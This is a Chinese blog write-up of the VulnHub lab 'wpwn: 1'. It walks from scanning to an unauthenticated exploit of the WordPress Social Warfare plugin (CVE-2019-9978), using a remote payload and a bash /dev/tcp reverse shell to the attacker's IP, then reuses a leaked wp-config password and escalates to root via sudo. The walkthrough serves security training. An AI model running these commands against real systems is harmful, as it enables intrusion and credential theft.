wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.31:WPWN: 1(vulnhub)渗透测试
发表于: | 分类: 安全测试,资格认证 | 评论:0 | 阅读: 1462

一、前言

主要利用方式:
nmap扫描+网站目录扫描+wpscan扫描发现漏洞插件
利用wordpress插件Social Warfare的RCE漏洞getshell(无需登录)
wordpress配置文件泄露明文密码,切换到用户takis
sudo su提权+ 查看.bash_history发现flag

二、靶机信息

靶场: vulnhub.com
靶机名称: wpwn: 1
难度: 简单
发布时间: 2020 年 8月 18日
下载地址:https://www.vulnhub.com/entry/wpwn-1,537/

三、虚拟机配置
Vmware、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配
攻击IP:192.168.169.129
靶机IP:192.168.169.177

四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l

2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 192.168.169.177

└─$ sudo nmap -p22,80 -sV -A 192.168.169.177

存在22 ssh端口和80 web端口

3、访问80web页面,及常规路径扫描
http://192.168.169.177/

└─$ dirsearch -u 192.168.169.177

发现,存在wordpress目录及wp-login页面

4、wordpress扫描
└─$ wpscan --url http://192.168.169.177/wordpress/ -e //扫描出存在admin用户,但未扫描出插件
└─$ wpscan --url http://192.168.169.177/wordpress/ //扫描出存在问题的插件
wpscan --url "【目标系统URL】" --enumerate p //主要扫描插件

通过扫描,发现 social-warfare这个插件存在版本差异,通过查询,3.5.2存在RCE漏洞
└─$ wpscan --url http://192.168.169.177/wordpress/ -e p

五、漏洞利用(突破边界)
5、wordpress -social-warfare RCE漏洞利用
https://www.exploit-db.com/exploits/46794
参考链接https://github.com/hash3liZer/CVE-2019-9978中的方式

6、开启python web服务
└─$ python -m http.server 80

创建两个文件,cve-2019-9978.py及 payload.txt

payload.txt :<pre>system('cat /etc/passwd')</pre>

7、执行payload命令,成功查询etc/passwd文件
└─$ python2 cve-2019-9978.py --target http://192.168.169.177/wordpress/ --payload-uri http://192.168.169.129/payload.txt

8、更改payload.txt命令

system('bash -c "exec bash -i &>/dev/tcp/192.168.169.129/9999 <&1"')
在攻击机上nc监听9999端口 └─$ nc -lnvp 9999 执行同样的命令,成功反弹shell,拿到了www-data的用户权限 └─$ python2 cve-2019-9978.py --target http://192.168.169.177/wordpress/ --payload-uri http://192.168.169.129/payload.txt 9、进入用户目录,查看user 的flag www-data@wpwn:/home$ cd /home/takis www-data@wpwn:/home/takis$ cat user.txt 六、提权 10、cd到tmp目录,下载linpeas.sh文件,查看提权利用方式 www-data@wpwn:/home/takis$ cd /tmp www-data@wpwn:/tmp$ wget http://192.168.169.129/linpeas.sh www-data@wpwn:/tmp$ chmod +x linpeas.sh www-data@wpwn:/tmp$ ./linpeas.sh 发现wordpress配置文件中存在数据库密码 define( 'DB_PASSWORD', 'R3&]vzhHmMn9,:-5' ); 一般在这个地方,数据库的密码会和某用户的密码是一致的 11、尝试切换到takis用户,且用R3&]vzhHmMn9,:-5 这个密码 www-data@wpwn:/tmp$ su takis 12、使用sudo su 命令,切换到root后权限,查看root的flag, 但在/root/root.txt中并没有flag,只有一段提示:take a look into my USB takis@wpwn:/tmp$ sudo su root@wpwn:/tmp# cd /root root@wpwn:~# cat root.txt 13、查看root目录下无usb类似文件,发现history文件 root@wpwn:~# ls -la root@wpwn:~# cat .bash_history 14、根据历史命令查看,最终在usr的路径下找到root文件,成功获取flag root@wpwn:/usr/games/USB# cat /usr/games/USB/root cat /usr/games/USB/root 19905b045801f04e96d803659ad987ce

添加新评论

TOP